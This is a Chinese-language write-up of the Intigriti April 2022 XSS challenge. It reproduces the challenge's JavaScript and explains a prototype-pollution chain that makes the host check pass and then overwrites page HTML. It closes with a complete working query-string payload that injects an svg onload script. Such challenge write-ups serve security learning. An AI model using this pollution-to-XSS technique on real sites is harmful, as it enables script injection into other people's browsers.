目录
首先查看源码编辑
分析
原理
第一次污染
第二次污染
污染config和settings的解
挑战的地址:Intigriti April Challenge
此时是无法看到源码的,需要进入到Window Maker的界面
此时在查看源码就可以看到源码了
由于源码比较多,我们不可能逐一分析。在原型链污染的漏洞中,我们首先就要查找merge函数
function main() {
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
merge(appConfig, qs.config)
appConfig["customMode"] = true
}
let devSettings = Object.create(null)
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
if (checkHost()) {
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {view: function() {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"] ,
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}})
}
document.body.appendChild(devSettings.root)
}
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
function isPrimitive(n) {
return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
for(let key in source) {
if (protectedKeys.includes(key)) continue
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}
main()
此题最终的触发流程在于document.body.appendChild(devSettings.root)
所以我们需要去修改devSettings.root的属性,往上追溯,如果要走到这个流程,必须改使得checkHost( )的值为ture,才能够进入merge方法中,对devSettings对象的值进行修改。
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
checkHost( )的判断条件为hostname等于localhost或是port等于8080,显然从正常情况下看来,无论如何都不可能满足这个条件的。但是作者在这里设计了一个很巧妙的代码,重点在于temp[1],temp是一个数组,从数组中取了下标1这个值。
'1' == 1
//ture
a['1'] == a[1]
//ture
JavaScript中,数组的下标可以用字符或是字符串数字来取值,所以在原型链中,我们可以给[ ]对象添加一个名称为1的属性,这样temp再通过下标1取值的时候,实际上取到的是数组中属性为1的值
[].constructor.prototype['1'] = 8080
//[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]
根据代码逻辑,我们需要同时满足对象类型为Array,为什么这里要使用到Array呢?
原因就是appConfig["window-toolbar"] = ['close']是一个类似数组的对象,满足要求的只能是数组,因为下面的代码在取值的时候是以数组的形式在取值,因此赋值的时候也肯定要以数组的形式来传递。
可被merge的参数,满足这样条件的只有
appConfig["window-toolbar"] = ["close"]
我们的伪代码应当为
appConfig["window-toolbar"].constructor['1'] = 8080
接下来要做的,就是继续去替换devSettings.root的值了,替换body中的即可。
因为只有满足了appConfig["customMode"] = ture才能够让qs.Config替换掉appConfig,这样程序下能继续往下走。
传递的参数是
?config[window-toolbar][constructor][prototype][1]=8080
其中的constructor就相当于是Object原型
这次传递的是settings,需要满足devSettings["isTestHostOrPort"] = ture,才能满足merge函数,使得qs.settings能够替换到devSettings。然后使得程序能够继续往下走。
这里虽然settings传递进来了,但是是以key,vlaue的形式肯定是不行的,此时我们的root是创建出来的main。此时要给main中插入我们的HTML代码肯定是不能这样传值的,以上面这种方式肯定是插不进去的,此时我们思考的是,先用main找到我们的document,在找到body,依次往下找,最终找到我们可以插入的值。
payload
?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML][1]=%3Csvg%20onload%3Dalert(1)%3E